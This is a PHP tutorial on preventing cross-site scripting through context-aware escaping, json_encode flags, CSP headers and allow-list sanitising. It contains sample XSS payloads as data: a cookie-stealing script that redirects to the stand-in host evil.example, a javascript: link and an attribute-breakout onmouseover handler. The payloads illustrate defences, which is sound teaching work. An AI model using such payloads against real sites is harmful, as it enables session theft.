PHP Xss Prevention

Cross-Site Scripting (XSS) happens when untrusted data ends up in a web page and a browser treats it as executable markup or script instead of plain text. Because PHP is almost always the layer that assembles the final HTML sent to the browser, PHP is also where most XSS vulnerabilities are introduced — and where they must be fixed. This lesson explains exactly how XSS works, how PHP’s escaping functions defend against it, and the mistakes that quietly leave applications vulnerable even when developers believe they are "escaping everything."

Overview: How XSS Works

A browser’s HTML parser cannot tell the difference between "data" and "code" on its own — it decides based purely on where characters like <, >, ", ', and & appear in the byte stream. If your PHP script inserts a user’s comment directly into the page and that comment contains <script>...</script>, the browser has no way of knowing that text came from a database row rather than from your own template — it just sees a script tag and runs it. XSS is therefore not a bug in the browser; it is a failure to keep untrusted data from being interpreted as markup.

Security researchers group XSS into three categories, and PHP developers need to defend against all three:

  • Reflected XSS — the payload arrives in the request (typically a query string or form field) and is echoed straight back into the response, for example a "no results for {$_GET['q']}" message.
  • Stored XSS — the payload is saved (in a database, a file, a session) and rendered later, often to other users — a malicious blog comment is the classic example.
  • DOM-based XSS — the payload never touches the PHP output at all; client-side JavaScript reads something like location.hash and writes it into the DOM via innerHTML. PHP still matters here because it is usually PHP that generates the vulnerable JavaScript in the first place.

The fix for all three is the same principle applied at different points: escape untrusted data for the exact context it is being placed into, at the moment you output it. HTML body text, HTML attributes, URLs, JavaScript strings, and CSS values all have different special characters and therefore need different escaping functions. Using the wrong one — or none at all — is how XSS slips through.

Syntax

These are the core functions and mechanisms used for XSS prevention in PHP:

Function / Mechanism Purpose
htmlspecialchars($str, $flags, $encoding) Converts &, <, >, and (with ENT_QUOTES) " and ' into HTML entities. The primary tool for HTML body and attribute output.
htmlentities($str, $flags, $encoding) Like htmlspecialchars() but also converts characters that have a named HTML entity (accented letters, symbols). Rarely needed if your page is UTF-8.
strip_tags($str, $allowed) Removes tags from a string. Not an XSS defense on its own — it does not escape attributes or URLs.
json_encode($value, $flags) Safely serializes PHP data for embedding inside a <script> block, especially combined with JSON_HEX_TAG, JSON_HEX_APOS, JSON_HEX_QUOT, JSON_HEX_AMP.
filter_var($url, FILTER_VALIDATE_URL) Validates that a string is a well-formed URL; combine with a scheme allow-list to block javascript: URIs.
header('Content-Security-Policy: ...') Sends a browser-enforced policy restricting where scripts may load from — defense-in-depth, not a replacement for escaping.

htmlspecialchars() flags

  • ENT_QUOTES — escapes both " and '. Always use this unless you have a specific reason not to.
  • ENT_COMPAT — escapes only ", leaving ' untouched. This was the historic default and is a common source of bugs.
  • ENT_HTML5 — use HTML5 entity rules (affects which entity is used for an apostrophe: &apos; vs &#039;).

As of PHP 8.1, the default flags changed to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, so calling htmlspecialchars($str) with no flags now escapes single quotes too. It is still best practice to pass ENT_QUOTES explicitly so the code’s intent is clear and safe on any PHP version.

Examples

Example 1: Escaping a reflected search query

<?php
$_GET['q'] = '<script>alert("XSS")</script>';

$search = $_GET['q'] ?? '';
$safeSearch = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');

echo "You searched for: " . $safeSearch . "\n";

Output:

You searched for: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

Without escaping, the browser would parse <script> as a real tag and execute the alert. htmlspecialchars() converts every special character into its harmless text equivalent, so the browser displays the literal characters instead of running them.

Example 2: Context-aware escaping (HTML, URL, JavaScript)

<?php
$username = 'John "Danger" <b>O\'Brien</b>';

$htmlSafe = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
$urlSafe = urlencode($username);
$jsSafe = json_encode($username);

echo "HTML body: {$htmlSafe}\n";
echo "URL param: {$urlSafe}\n";
echo "JS string: {$jsSafe}\n";

Output:

HTML body: John &quot;Danger&quot; &lt;b&gt;O&#039;Brien&lt;/b&gt;
URL param: John+%22Danger%22+%3Cb%3EO%27Brien%3C%2Fb%3E
JS string: "John \"Danger\" <b>O'Brien<\/b>"

The same raw string needs three completely different encodings depending on where it lands: htmlspecialchars() for HTML text, urlencode() for a URL query parameter, and json_encode() for a JavaScript string literal. Using the HTML-safe version inside a URL, or vice versa, either breaks the output or leaves an XSS hole.

Example 3: Rendering stored (user-submitted) comments

<?php
function renderComment(string $comment): string
{
    return htmlspecialchars($comment, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

$comments = [
    'Great article, thanks!',
    '<script>document.location="https://evil.example/steal?c="+document.cookie</script>',
    'Use <strong>caution</strong> with "quotes" & ampersands.',
];

foreach ($comments as $comment) {
    echo '<li>' . renderComment($comment) . "</li>\n";
}

Output:

<li>Great article, thanks!</li>
<li>&lt;script&gt;document.location=&quot;https://evil.example/steal?c=&quot;+document.cookie&lt;/script&gt;</li>
<li>Use &lt;strong&gt;caution&lt;/strong&gt; with &quot;quotes&quot; &amp; ampersands.</li>

This is the pattern for stored content: the malicious-looking second comment is saved verbatim in the database, but because renderComment() escapes it at the moment of output, the <script> tag is displayed as harmless text rather than executed. Note that the surrounding <li> tags are not escaped — they are trusted markup written by the application, not user data.

Example 4: Safely embedding data into inline JavaScript, with a CSP header

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'");

$userId = 42;
$userName = "O'Brien <script>alert(1)</script>";

$payload = json_encode(
    ['id' => $userId, 'name' => $userName],
    JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP
);

echo "<script>\n";
echo "const currentUser = {$payload};\n";
echo "</script>\n";

Output:

<script>
const currentUser = {"id":42,"name":"O\u0027Brien \u003Cscript\u003Ealert(1)\u003C\/script\u003E"};
</script>

The JSON_HEX_* flags rewrite every dangerous character (<, >, ', ", &) as a \uXXXX escape, which is completely inert inside a JSON string. That means the resulting <script> block cannot be broken out of, even though it contains attacker-supplied data. The Content-Security-Policy header is a second, independent layer: even if an escaping mistake slipped through elsewhere on the page, the browser would refuse to execute a script that CSP does not allow.

Under the Hood

htmlspecialchars() works by scanning the input string byte-by-byte (respecting the given character encoding) and substituting a fixed lookup table of five characters: & becomes &amp;, < becomes &lt;, > becomes &gt;, and (with ENT_QUOTES) " becomes &quot; and ' becomes &#039; or &apos;. Crucially, & is escaped first and independently of the others, which is what prevents double-encoding an already-escaped ampersand into &amp;amp; when $double_encode is left at its default of true.

The reason context matters so much is that HTML, attribute values, URLs, JavaScript, and CSS each define their own “escape character” and their own set of dangerous sequences. htmlspecialchars() only understands HTML’s rules. If you drop its output straight into a <script> block, none of the JavaScript-specific dangerous characters (like a closing </script> sequence hidden in a string, or unescaped quotes) are handled correctly — which is exactly why Example 4 uses json_encode() with the JSON_HEX_* flags instead of htmlspecialchars() for that context.

For DOM-based XSS, remember that PHP’s job often ends once it generates the initial HTML and JavaScript. If that JavaScript later takes over and writes untrusted data into the DOM with innerHTML, no amount of server-side escaping helps — the fix lives in the JavaScript (prefer textContent over innerHTML, or re-escape before insertion). PHP’s responsibility is to never hand the browser JavaScript that itself introduces this pattern.

Common Mistakes

Mistake 1: Treating strip_tags() as an XSS filter

strip_tags() removes tags but does not sanitize the attributes of any tags you explicitly allow, and it does nothing to escape stray text. Allowing <a> so users can post links is a common trap:

$comment = $_POST['comment'] ?? '';

// Attempting to prevent XSS by stripping tags but allowing links
echo strip_tags($comment, '<a>');

// If $comment is:
//   <a href="javascript:alert(document.cookie)">Click here</a>
// strip_tags() keeps the <a> tag and its javascript: URI intact,
// so the payload still executes when the link is clicked.

Because the href attribute is never inspected, an attacker can use a javascript: URI as the link target and the script still runs when a victim clicks it. Escaping the whole comment instead removes the ambiguity entirely:

<?php
$comment = $_POST['comment'] ?? '';

// Escape output instead of relying on tag stripping.
// If some HTML must be allowed, use a dedicated sanitizer
// such as HTML Purifier with a strict allow-list.
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

If you genuinely need to allow a subset of HTML (bold, links, lists), use a dedicated allow-list sanitizer library rather than hand-rolling tag stripping — it will also validate URL schemes and strip dangerous attributes like onclick.

Mistake 2: Forgetting to escape quotes inside an attribute

$name = $_GET['name'] ?? '';

// ENT_COMPAT only escapes double quotes, not single quotes
$safe = htmlspecialchars($name, ENT_COMPAT, 'UTF-8');

echo "<input type='text' value='{$safe}'>";

// If $name is:  x' onmouseover='alert(document.cookie)
// the unescaped single quote breaks out of the attribute
// and injects a new onmouseover event handler.

Because ENT_COMPAT leaves single quotes untouched, an attacker-supplied single quote closes the attribute early and lets them append a brand-new HTML attribute, such as an onmouseover event handler. The fix is to always use ENT_QUOTES and, ideally, double-quoted attributes:

<?php
$name = $_GET['name'] ?? '';

$safe = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');

echo "<input type=\"text\" value=\"{$safe}\">";

Best Practices

  • Escape at the point of output, not at the point of input storage — store raw data, encode it fresh for whatever context it is rendered into.
  • Always pass ENT_QUOTES and an explicit 'UTF-8' encoding to htmlspecialchars(), even though PHP 8.1+ defaults now include quote escaping.
  • Match the escaping function to the context: htmlspecialchars() for HTML text/attributes, urlencode()/rawurlencode() for URL components, json_encode() with JSON_HEX_* flags for inline JavaScript.
  • Never build inline <script> content by string-concatenating raw PHP variables — always route data through json_encode().
  • Do not rely on strip_tags() or blacklists as your only defense; use an allow-list HTML sanitizer when rich text must be preserved.
  • Validate and allow-list URL schemes (http, https) before outputting user-supplied URLs, to block javascript: and data: payloads.
  • Send a Content-Security-Policy header as defense-in-depth, so a single missed escape is less likely to be exploitable.
  • Mark session cookies HttpOnly and Secure so that even successful XSS cannot read them via document.cookie.
  • Prefer a templating engine (Twig, Latte) that auto-escapes output by default, requiring an explicit opt-out rather than an explicit opt-in.

Practice Exercises

  • Write a PHP function renderBio(string $bio): string that safely outputs a user’s biography text inside a <p> tag, correctly handling a bio that itself contains <, >, &, and quote characters.
  • You have a search page that builds value="{$_GET['query']}" directly into an HTML attribute. Rewrite it so it is safe against both HTML injection and attribute-breakout XSS, and explain which flag choice matters most.
  • A dashboard needs to pass an array of usernames from PHP into a JavaScript array literal inside a <script> block. Write the PHP code to build that literal safely, and state which function and flags you used and why htmlspecialchars() alone would not be correct here.

Summary

  • XSS occurs when untrusted data is interpreted by the browser as markup or script instead of plain text; it comes in reflected, stored, and DOM-based forms.
  • The core defense is context-aware output escaping applied at the moment of output, not at the moment data is received or stored.
  • htmlspecialchars($str, ENT_QUOTES, 'UTF-8') is the default tool for HTML body and attribute contexts.
  • URLs need urlencode()/rawurlencode(), and inline JavaScript needs json_encode() with JSON_HEX_* flags — using the HTML-safe encoding in the wrong context is itself a vulnerability.
  • strip_tags() is not an XSS defense; it does not sanitize attributes or URLs within tags it allows.
  • Layer a Content-Security-Policy header and HttpOnly cookies on top of escaping for defense-in-depth.